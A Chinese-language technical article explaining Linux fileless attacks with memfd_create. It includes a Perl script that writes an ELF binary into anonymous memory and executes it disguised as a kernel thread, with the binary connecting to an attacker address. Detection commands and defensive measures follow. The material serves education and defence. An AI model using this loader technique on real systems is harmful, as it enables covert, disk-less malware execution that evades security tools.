利用memfd_create实现无文件攻击
字数 1327 2025-08-19 12:40:52
利用memfd_create实现Linux无文件攻击技术详解
1. 无文件攻击概述
无文件(Fileless)攻击是一种不依赖磁盘文件植入的恶意代码执行技术,具有以下特点:
- 隐蔽性强:不写入新文件到磁盘,也不修改已有文件,能绕过传统基于文件扫描的安全软件
- 依赖系统工具:利用系统自带的调试工具、解释程序、编译器和程序库实现隐蔽执行
- 临时性:攻击载荷仅存在于内存中,系统重启后自动消失,需要配合持久化机制
2. memfd_create系统调用详解
memfd_create是Linux内核提供的系统调用(自3.17版本引入),用于创建匿名内存文件描述符:
#include <sys/mman.h>
int memfd_create(const char *name, unsigned int flags);
参数说明
name:可选标识名称,显示在/proc/self/fd/中作为符号链接目标,前缀为"memfd:"flags:控制文件描述符特性,常用标志:MFD_CLOEXEC(0x0001U):执行时自动关闭文件描述符MFD_ALLOW_SEALING:允许对文件描述符添加密封
特性
- 创建的文件存在于RAM中,行为类似常规文件(可修改、截断、内存映射等)
- 名称仅用于调试,不影响文件描述符行为,允许多个文件同名
- 文件描述符在
/proc/self/fd/中显示为符号链接形式
3. 无文件攻击实现流程
3.1 创建匿名内存文件
使用memfd_create创建内存文件描述符:
my $fd = syscall(319, $name, 1); # 319是64位系统中memfd_create的系统调用号
if (-1 == $fd) {
die "memfd_create: $!";
}
3.2 转换为文件句柄并配置
将文件描述符转换为Perl文件句柄并启用自动刷新:
open(my $FH, '>&='.$fd) or die "open: $!";
select((select($FH), $|=1)[0]);
3.3 写入ELF二进制数据
将恶意ELF文件内容写入内存文件:
print $FH pack q/H*/, q/7f454c4601010100000000000000000003000300010000005480040834000000/
or die qq/write: $!/;
# 继续写入更多ELF数据...
3.4 执行内存中的ELF
通过文件描述符符号链接执行内存中的ELF:
exec {"/proc/
$$
/fd/$fd"} "[kworded/0:0]", "-addr", "攻击主机IP:8000"
or die "exec: $!";
3.5 清理资源
解除内存映射并关闭文件描述符:
munmap(...);
close($fd);
4. 完整攻击示例
#!/usr/bin/env perl
use warnings;
use strict;
$|=1;
my $name = "";
my $fd = syscall(319, $name, 1);
if (-1 == $fd) {
die "memfd_create: $!";
}
open(my $FH, '>&='.$fd) or die "open: $!";
select((select($FH), $|=1)[0]);
print "Writing ELF binary to memory...";
# 写入ELF头部
print $FH pack q/H*/, q/7f454c4601010100000000000000000003000300010000005480040834000000/
or die qq/write: $!/;
# 写入更多ELF节区数据...
# 执行内存中的ELF
exec {"/proc/
$$
/fd/$fd"} "[kworded/0:0]", "-addr", "192.168.1.100:8000"
or die "exec: $!";
5. 攻击检测方法
5.1 进程检查
检查/proc目录中可疑的memfd链接:
ls -alR /proc/*/exe 2>/dev/null | grep 'memfd:.*(deleted)'
5.2 关键文件检查
/proc/[pid]/exe:进程二进制文件符号链接/proc/[pid]/fd/:进程打开的文件描述符/proc/[pid]/maps:检查是否有"memfd:.*(deleted)"条目/proc/[pid]/cmdline:检查可疑的命令行参数/proc/[pid]/environ:检查可疑的环境变量
5.3 网络连接检查
检查可疑的网络连接,特别是与攻击者IP的通信:
netstat -antp
ss -antp
lsof -i
6. 防御措施
- 限制系统调用:通过seccomp限制非特权进程调用memfd_create
- 监控/proc目录:实时监控/proc目录下memfd相关活动
- 启用审计:配置auditd记录memfd_create系统调用
- 最小化工具集:移除不必要的调试工具和解释器
- 文件完整性监控:监控关键系统文件和配置变更
- 网络出口过滤:限制出站连接,特别是到可疑IP的连接
7. 总结
memfd_create提供的无文件执行能力为攻击者提供了高度隐蔽的攻击途径,安全团队需要:
- 了解无文件攻击的技术原理
- 掌握有效的检测方法
- 实施多层次的防御策略
- 定期进行安全审计和渗透测试
- 保持系统和安全工具的及时更新
通过综合运用技术防御和持续监控,可以有效降低无文件攻击带来的安全风险。